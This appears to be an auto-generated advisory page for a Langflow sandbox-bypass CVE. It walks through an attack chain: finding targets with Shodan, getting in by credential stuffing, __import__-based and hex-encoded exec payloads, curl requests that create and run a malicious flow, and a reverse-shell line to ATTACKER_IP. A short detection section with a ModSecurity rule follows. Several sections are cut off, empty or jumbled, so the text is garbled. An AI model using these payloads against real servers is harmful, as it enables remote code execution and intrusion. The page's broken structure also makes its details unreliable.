CVE-2026-120069 — IBM Langflow OSS (1.13.0) — CWE-693
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to an AST denylist bypass allowing code-as-data patterns to evade the check.
IBM Langflow OSS 1.0.0 through 1.13.0 could allow a remote authenticated attacker to execute arbitrary code due to an AST denylist bypass allowing code-as-data patterns to evade the check.
🎯 What is this vulnerability?
Technical Flaw:
This vulnerability is a Code Injection flaw resulting from an Incomplete Deny List (CWE-693: Protection Mechanism Failure) in the code execution sandbox of IBM Langflow.
Langflow is a visual, low-code platform for building LLM applications. It allows users to define workflows using nodes that can execute Python code. To prevent malicious execution, Langflow employs a security layer that parses the submitted code into an Abstract Syntax Tree (AST) and blocks specific dangerous nodes (e.g., import os, subprocess.call, eval, exec).
The flaw lies in the AST denylist bypass. The security check relies on identifying specific AST node types or attribute names to block. However, Python's dynamic nature allows attackers to use "code-as-data" patterns to construct dangerous function calls or imports dynamically, thereby evading the static AST inspection.
Specific Bypass Mechanism (Illustrative):
Instead of writing import os (which creates an Import node in the AST that the denylist blocks), an attacker can use built-in functions like getattr, globals, or vars to retrieve the os module or system function at runtime. For example:
# Blocked by AST denylist (likely):
import os
os.system("id")
# Bypasses AST denylist (Code-as-Data):
getattr(__import__('os'), 'system')("id")The AST parser sees getattr and __import__ (which might be allowed or overlooked if the denylist is incomplete), but the runtime execution resolves to the dangerous os.system call.
CVSS Vector Analysis:
- AV:N/AC:L/PR:L/UI:N: Network exploitable, low complexity, requires low privileges (authenticated user).
- S:U: Scope is unchanged (the vulnerable component is the application itself).
- C:H/I:H/A:H: Full compromise of Confidentiality, Integrity, and Availability.
- Identify Target: Use Shodan, Censys, or manual scanning to identify instances of IBM Langflow. Look for default ports (typically
7860for the UI,8080for the API). - Version Fingerprinting: - Check the
- Authentication: Obtain valid credentials. This could be via: - Default credentials (if not changed). - Credential stuffing. - A compromised low-privilege user account (e.g., a "viewer" or "editor" role that has permission to create/edit flows).
⚡ Attack Chain
1. Discovery & Reconnaissance
/api/v1/health or /api/v1/version endpoints (if exposed).
- Inspect the frontend JavaScript bundles or HTML meta tags for version strings.
- Confirm version is between 1.0.0 and 1.13.0.
2. Exploitation
Prerequisite: The attacker must have an authenticated session with permission to create or update a Langflow flow/component that accepts custom Python code (e.g., a "Custom Code" node or a "Python" component).Step 1: Craft the Bypass Payload
The attacker constructs a Python snippet that uses dynamic attribute access to invoke a system command.
Illustrative Payload (AST Bypass):
# This code attempts to execute 'id' via os.system without directly importing os in a way that triggers the AST denylist
import builtins
import sys
# Method 1: Using __import__ and getattr
os_module = __import__('os')
os_module.system('id > /tmp/pwned')
# Method 2: Using globals() if 'os' is already in the global scope (less reliable)
# Method 3: Using exec with encoded string (if exec is not blocked)
exec(bytes.fromhex('6f732e73797374656d282269642229').decode())Note: The exact bypass depends on which AST nodes are blocked. The most common bypass in such frameworks is using __import__ combined with getattr or direct attribute access on the imported module object.
Step 2: Inject into Langflow
The attacker uses the Langflow API to create or update a flow. The payload is embedded in the code field of a Python component.
Illustrative API Request (curl):
# Authenticate to get a token (example)
TOKEN=$(curl -s -X POST "http://target:8080/api/v1/login" \
-H "Content-Type: application/json" \
-d '{"username": "attacker", "password": "password"}' | jq -r '.access_token')
# Create a new flow with the malicious code
curl -s -X POST "http://target:8080/api/v1/flows" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "Malicious Flow",
"description": "Test",
"data": {
"nodes": [
{
"id": "node-1",
"type": "python",
"position": {"x": 0, "y": 0},
"data": {
"code": "import builtins\nos_module = __import__(\"os\")\nos_module.system(\"id > /tmp/pwned\")"
}
}
],
"edges": []
}
}'Step 3: Trigger Execution
The attacker triggers the execution of the flow. This can be done via:
POST /api/v1/flows/{flow_id}/run).# Trigger execution
curl -s -X POST "http://target:8080/api/v1/flows/{flow_id}/run" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{}'3. Post-Exploitation
os.system("id > /tmp/pwned") command executes on the host where Langflow is running.os_module.system('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')🌍 Real World Impact
Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade
2. Workarounds (If Immediate Upgrade is Not Possible)
__import__, getattr, globals, vars, exec, and eval functions in the sandboxed environment.
3. Detection
/api/v1/flows or /api/v1/flows/{id}/run with large or suspicious code fields.
- Look for patterns like __import__, getattr, os.system, subprocess, exec, eval in the request body.
/tmp, /var/tmp, or the Langflow working directory.
- Look for files containing reverse shell payloads or encoded commands.
bash, sh, nc, curl).
- Use tools like auditd or sysmon to log process creation events.
Example ModSecurity Rule (Illustrative):
SecRule REQUEST_BODY "@rx __import__|getattr|os\.system|subprocess|exec\(|eval\(" \
"id:100001,\
phase:2,\
block,\
log,\
msg:'Potential Langflow AST Bypass Attempt',\
severity:2,\
setvar:tx.inbound_anomaly_score=+10"⚠️ Urgency
Patching Priority: HIGH
Rationale:
[🤖 CVE Professor AI Security Engine]
FOFA Query